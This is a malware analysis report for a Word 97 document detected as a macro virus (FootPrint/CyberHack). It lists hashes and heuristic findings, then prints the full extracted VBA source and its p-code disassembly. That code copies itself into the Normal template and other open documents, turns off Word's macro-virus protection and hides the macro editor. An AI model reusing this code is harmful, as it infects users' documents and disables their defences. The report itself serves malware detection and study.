Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4371b7612ac7daf…

MALICIOUS

Office (OLE)

69.5 KB Created: 2000-04-21 00:40:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-28
MD5: 608b63626ec6a27adabdab51b9d03a35 SHA-1: a7f8fef450bc70bde739e13500386bab399a6c98 SHA-256: c4371b7612ac7daf2eed132532ea1c0ad2cc1b8f0520972b1d02c2dfb45d520f
256 Risk Score

Heuristics 6

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_Open
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24387 bytes
SHA-256: 3a3e78e741a5d9bda11597c83035248c15d247f3cd936651771d5825171805e7
Detection
ClamAV: Doc.Trojan.CyberHack-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
'FootPrint
Private Sub Document_Close()
On Error Resume Next
Kill "c:\footprint.$$?"
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub



Attribute VB_Name = "CyberHack"
' Macros By WinK'S Hacker
' Picture By Casper Satan

' Lebih baik mencoba dari pada tidak tahu sama sekali ...
' Mohon ma'af bila telah mengganggu Anda.
' Microsoft memang gila ! Nambahin fasilitas pemrogramannya
' keterlaluan untuk suatu word prosesor.
Public AlAsal
Public DokSave
Public Norok
Public Dokok
Sub CyInit()
    AlAsal = Application.DisplayAlerts
    Application.DisplayAlerts = wdAlertsNone
    Call Tahan
    WordBasic.DisableAutoMacros 0
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    On Error Resume Next
    CommandBars("Tools").Controls("Macro").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    On Error GoTo 0
End Sub
Sub CyClose()
Application.DisplayAlerts = AlAsal
End Sub
Sub Dok2Nor()
    Call Tahan
    On Error GoTo Erw1
    Norok = False
    Set ad = ActiveDocument
    Set nt = NormalTemplate
    On Error GoTo Erh1a
    For I = 1 To nt.VBProject.VBComponents.Count
      NMacr = nt.VBProject.VBComponents(I).Name
      If NMacr = "CyberHack" Then Norok = True
      If (NMacr <> "CyberHack") And (NMacr <> "CyberForm") And (NMacr <> "ThisDocument") Then
        Application.OrganizerDelete Source:=nt.FullName, _
            Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next I
Erh1a:
    If Norok = False Then
      On Error GoTo Erh1
      Application.OrganizerCopy Source:=ad.FullName, _
          Destination:=nt.FullName, Name:= _
          "CyberHack", Object:=wdOrganizerObjectProjectItems
      Application.OrganizerCopy Source:=ad.FullName, _
          Destination:=nt.FullName, Name:= _
          "CyberForm", Object:=wdOrganizerObjectProjectItems
      Templates(nt.FullName).Save
Erh1:
    End If
Erw1:
End Sub
Sub Nor2Dok()
    On Error GoTo Erw2
    DokSave = 0
    Dokok = False
    Set ad = ActiveDocument
    Set nt = NormalTemplate
    On Error GoTo Erh2a
    For I = 1 To ad.VBProject.VBComponents.Count
      NMacr = ad.VBProject.VBComponents(I).Name
      If NMacr = "CyberHack" Then Dokok = True
      NMacr = nt.VBProject.VBComponents(I).Name
      If NMacr = "CyberHack" Then Dokok = True
      If (NMacr <> "CyberHack") And (NMacr <> "CyberForm") And _
        (NMacr <> "ThisDocument") And (NMacr <> "Reference to Normal") Then
        Application.OrganizerDelete Source:=ad.FullName, _
          Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next I
Erh2a:
    If Dokok = False Then
      On Error GoTo Erh2
      
      Application.OrganizerCopy Source:=nt.FullName, _
          Destination:=ad.FullName, Name:= _
          "CyberHack", Object:=wdOrganizerObjectProjectItems
      Application.OrganizerCopy Source:=nt.FullName, _
          Destination:=ad.FullName, Name:= _
          "CyberForm", Object:=wdOrganizerObjectProjectItems
      DokSave = 1
Erh2:
    End If
Erw2:
End Sub
Sub Cyber()
    Call CyInit
    Call Dok2Nor
    Call CyClose
End Sub
Sub Tahan()
    With Options
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
End Sub
Sub Simpan()
    On Error GoTo Erh4
Set ad = ActiveDocument
    If DokSave = 1 Then
       ad.SaveAs FileName:=ad.Name, FileFormat:=wdFormatDocument
    End If
Erh4:
End Sub
Sub AutoOpen()
    Call Cyber
End Sub
Sub FileClose()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    WordBasic.FileClose
End Sub
Sub FileOpen()
    Call Cyber
    Dialogs(wdDialogFileOpen).Show
    Call CyInit
    Call Nor2Dok
    Call Simpan
    Call CyClose
End Sub
Sub FileSaveAs()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileSave()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    On Error GoTo Errh1
    If ActiveDocument.Saved = False Then ActiveDocument.Save
Errh1:
End Sub
Sub HelpAbout()
    On Error GoTo Erw3
    CyberForm.Show
Erw3:
End Sub
Sub FileExit()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    On Error GoTo Erw4
    If WeekDay(Date) = 6 Then CyberForm.Show
Erw4:
    Call CyClose
    WordBasic.FileExit
End Sub
Sub ToolsOptions()
    Dialogs(wdDialogToolsOptions).Show
    Call Cyber
End Sub
Sub FileNew()
    Call Cyber
    Dialogs(wdDialogFileNew).Show
End Sub
Sub FileTemplates()
    Call Cyber
End Sub
Sub ToolsMacro()
    Call Cyber
End Sub
Sub ToolsCustomize()
    Call Cyber
End Sub
Sub ToolsCustomizeKeyboard()
    Call Cyber
End Sub
Sub ViewVBCode()
    Call Cyber
End Sub
Sub Organizer()
End Sub

Attribute VB_Name = "CyberForm"
Attribute VB_Base = "0{D40CD49D-16FB-11D4-835B-CFC86454F728}{D40CD496-16FB-11D4-835B-CFC86454F728}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
























































































Private Sub CommandButton1_Click()
Unload Me
End Sub

' Processing file: /tmp/qstore_ynd_6cz8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8183 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	QuoteRem 0x0000 0x0009 "FootPrint"
' Line #2:
' 	FuncDefn (Private Sub Document_Close())
' Line #3:
' 	OnError (Resume Next) 
' Line #4:
' 	LitStr 0x0010 "c:\footprint.$$?"
' 	ArgsCall Kill 0x0001 
' Line #5:
' 	ArgsCall Document_Open 0x0000 
' Line #6:
' 	EndSub 
' Line #7:
' 	FuncDefn (Private Sub Document_New())
' Line #8:
' 	ArgsCall Document_Open 0x0000 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Private Sub Document_Open())
' Line #11:
' 	OnError (Resume Next) 
' Line #12:
' 	Dim 
' 	VarDefn al (As String)
' Line #13:
' 	Dim 
' 	VarDefn adoc (As Document)
' Line #14:
' 	Dim 
' 	VarDefn atpl (As Template)
' Line #15:
' 	Dim 
' 	VarDefn CoL (As Integer)
' Line #16:
' 	LitStr 0x0010 "c:\footprint.$$$"
' 	LitStr 0x000C "ThisDocument"
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #17:
' 	LitStr 0x0010 "c:\footprint.$$$"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Input)
' Line #18:
' 	LitStr 0x0010 "c:\footprint.$$1"
' 	LitDI2 0x0002 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #19:
' 	LitDI2 0x0001 
' 	Ld al 
' 	LineInput 
' Line #20:
' 	LitDI2 0x0001 
' 	Ld al 
' 	LineInput 
' Line #21:
' 	LitDI2 0x0001 
' 	Ld al 
' 	LineInput 
' Line #22:
' 	LitDI2 0x0001 
' 	Ld al 
' 	LineInput 
' Line #23:
' 	LitDI2 0x0001 
' 	ArgsLd EOF 0x0001 
' 	Not 
' 	While 
' Line #24:
' 	LitDI2 0x0001 
' 	Ld al 
' 	LineInput 
' Line #25:
' 	LitDI2 0x0002 
' 	Sharp 
' 	PrintChan 
' 	Ld al 
' 	PrintItemNL 
' Line #26:
' 	Wend 
' Line #27:
' 	LitDI2 0x0001 
' 	Close 0x0001 
' Line #28:
' 	LitDI2 0x0002 
' 	Close 0x0001 
' Line #29:
' 	StartForVariable 
' 	Ld adoc 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #30:
' 	Ld adoc 
' 	MemLd FullName 
' 	Ld wdHeaderFooterPrimary 
' 	LitDI2 0x0001 
' 	Ld adoc 
' 	ArgsMemLd Sections 0x0001 
' 	ArgsMemLd Footers 0x0001 
' 	MemLd Range 
' 	MemSt Then 
' Line #31:
' 	LitStr 0x000A "FootPrint1"
' 	Ld adoc 
' 	ArgsMemLd CustomDocumentProperties 0x0001 
' 	Not 
' 	IfBlock 
' Line #32:
' 	LitStr 0x000A "FootPrint1"
' 	ParamNamed New 
' 	LitVarSpecial (False)
' 	ParamNamed LinkToContent 
' 	LitVarSpecial (True)
' 	ParamNamed Value 
' 	Ld msoPropertyTypeBoolean 
' 	ParamNamed TypeOf 
' 	Ld adoc 
' 	MemLd CustomDocumentProperties 
' 	ArgsMemCall Add 0x0004 
' Line #33:
' 	LitStr 0x000C "ThisDocument"
' 	Ld adoc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St CoL 
' Line #34:
' 	LitDI2 0x0001 
' 	Ld CoL 
' 	LitStr 0x000C "ThisDocument"
' 	Ld adoc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #35:
' 	LitStr 0x0010 "c:\footprint.$$1"
' 	LitStr 0x000C "ThisDocument"
' 	Ld adoc 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	StartForVariable 
' 	Next 
' Line #38:
' 	StartForVariable 
' 	Ld atpl 
' 	EndForVariable 
' 	Ld Templates 
' 	ForEach 
' Line #39:
' 	LitStr 0x000A "FootPrint1"
' 	Ld atpl 
' 	ArgsMemLd CustomDocumentProperties 0x0001 
' 	Not 
' 	IfBlock 
' Line #40:
' 	LitStr 0x000A "FootPrint1"
' 	ParamNamed New 
' 	LitVarSpecial (False)
' 	ParamNamed LinkToContent 
' 	LitVarSpecial (True)
' 	ParamNamed Value 
' 	Ld msoPropertyTypeBoolean 
' 	ParamNamed TypeOf 
' 	Ld atpl 
' 	MemLd CustomDocumentProperties 
' 	ArgsMemCall Add 0x0004 
' Line #41:
' 	LitStr 0x000C "ThisDocument"
' 	Ld atpl 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St CoL 
' Line #42:
' 	LitDI2 0x0001 
' 	Ld CoL 
' 	LitStr 0x000C "ThisDocument"
' 	Ld atpl 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #43:
' 	LitStr 0x0010 "c:\footprint.$$1"
' 	LitStr 0x000C "ThisDocument"
' 	Ld atpl 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	StartForVariable 
' 	Next 
' Line #46:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #47:
' 	EndSub 
' Line #48:
' Line #49:
' Macros/VBA/CyberHack - 12273 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0018 " Macros By WinK'S Hacker"
' Line #1:
' 	QuoteRem 0x0000 0x0018 " Picture By Casper Satan"
' Line #2:
' Line #3:
' 	QuoteRem 0x0000 0x0038 " Lebih baik mencoba dari pada tidak tahu sama sekali ..."
' Line #4:
' 	QuoteRem 0x0000 0x0028 " Mohon ma'af bila telah mengganggu Anda."
' Line #5:
' 	QuoteRem 0x0000 0x003A " Microsoft memang gila ! Nambahin fasilitas pemrogramannya"
' Line #6:
' 	QuoteRem 0x0000 0x0027 " keterlaluan untuk suatu word prosesor."
' Line #7:
' 	Dim (Public) 
' 	VarDefn AlAsal
' Line #8:
' 	Dim (Public) 
' 	VarDefn DokSave
' Line #9:
' 	Dim (Public) 
' 	VarDefn Norok
' Line #10:
' 	Dim (Public) 
' 	VarDefn Dokok
' Line #11:
' 	FuncDefn (Sub CyInit())
' Line #12:
' 	Ld Application 
' 	MemLd DisplayAlerts 
' 	St AlAsal 
' Line #13:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #14:
' 	ArgsCall (Call) Tahan 0x0000 
' Line #15:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #16:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #17:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Enabled 
' Line #18:
' 	Ld msoBarNoChangeVisible 
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Protection 
' Line #19:
' 	Ld msoBarNoCustomize 
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Protection 
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	ArgsMemCall Delete 0x0000 
' Line #22:
' 	Ld NormalTemplate 
' 	St CustomizationContext 
' Line #23:
' 	Ld wdKeyF11 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #24:
' 	Ld wdKeyF8 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #25:
' 	OnError (GoTo 0) 
' Line #26:
' 	EndSub 
' Line #27:
' 	FuncDefn (Sub CyClose())
' Line #28:
' 	Ld AlAsal 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #29:
' 	EndSub 
' Line #30:
' 	FuncDefn (Sub Dok2Nor())
' Line #31:
' 	ArgsCall (Call) Tahan 0x0000 
' Line #32:
' 	OnError Erw1 
' Line #33:
' 	LitVarSpecial (False)
' 	St Norok 
' Line #34:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ad 
' Line #35:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set nt 
' Line #36:
' 	OnError Erh1a 
' Line #37:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #38:
' 	Ld I 
' 	Ld nt 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St NMacr 
' Line #39:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Norok 
' 	EndIf 
' Line #40:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Ne 
' 	Paren 
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberForm"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld NMacr 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #41:
' 	LineCont 0x0004 09 00 0C 00
' 	Ld nt 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NMacr 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #42:
' 	EndIfBlock 
' Line #43:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #44:
' 	Label Erh1a 
' Line #45:
' 	Ld Norok 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #46:
' 	OnError Erh1 
' Line #47:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld ad 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld nt 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberHack"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #48:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld ad 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld nt 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberForm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #49:
' 	Ld nt 
' 	MemLd FullName 
' 	ArgsLd Templates 0x0001 
' 	ArgsMemCall Save 0x0000 
' Line #50:
' 	Label Erh1 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	Label Erw1 
' Line #53:
' 	EndSub 
' Line #54:
' 	FuncDefn (Sub Nor2Dok())
' Line #55:
' 	OnError Erw2 
' Line #56:
' 	LitDI2 0x0000 
' 	St DokSave 
' Line #57:
' 	LitVarSpecial (False)
' 	St Dokok 
' Line #58:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ad 
' Line #59:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set nt 
' Line #60:
' 	OnError Erh2a 
' Line #61:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ad 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #62:
' 	Ld I 
' 	Ld ad 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St NMacr 
' Line #63:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Dokok 
' 	EndIf 
' Line #64:
' 	Ld I 
' 	Ld nt 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St NMacr 
' Line #65:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Dokok 
' 	EndIf 
' Line #66:
' 	LineCont 0x0004 0D 00 08 00
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Ne 
' 	Paren 
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberForm"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld NMacr 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld NMacr 
' 	LitStr 0x0013 "Reference to Normal"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #67:
' 	LineCont 0x0004 09 00 0A 00
' 	Ld ad 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NMacr 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	StartForVariable 
' 	Ld I 
' 	EndForVariable 
' 	NextVar 
' Line #70:
' 	Label Erh2a 
' Line #71:
' 	Ld Dokok 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #72:
' 	OnError Erh2 
' Line #73:
' Line #74:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld nt 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ad 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberHack"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #75:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld nt 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ad 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberForm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #76:
' 	LitDI2 0x0001 
' 	St DokSave 
' Line #77:
' 	Label Erh2 
' Line #78:
' 	EndIfBlock 
' Line #79:
' 	Label Erw2 
' Line #80:
' 	EndSub 
' Line #81:
' 	FuncDefn (Sub Cyber())
' Line #82:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #83:
' 	ArgsCall (Call) Dok2Nor 0x0000 
' Line #84:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #85:
' 	EndSub 
' Line #86:
' 	FuncDefn (Sub Tahan())
' Line #87:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #88:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #89:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #90:
' 	EndWith 
' Line #91:
' 	EndSub 
' Line #92:
' 	FuncDefn (Sub Simpan())
' Line #93:
' 	OnError Erh4 
' Line #94:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set ad 
' Line #95:
' 	Ld DokSave 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #96:
' 	Ld ad 
' 	MemLd New 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ad 
' 	ArgsMemCall SaveAs 0x0002 
' Line #97:
' 	EndIfBlock 
' Line #98:
' 	Label Erh4 
' Line #99:
' 	EndSub 
' Line #100:
' 	FuncDefn (Sub AutoOpen())
…

Open this report in the interactive analyzer, or submit your own file for analysis.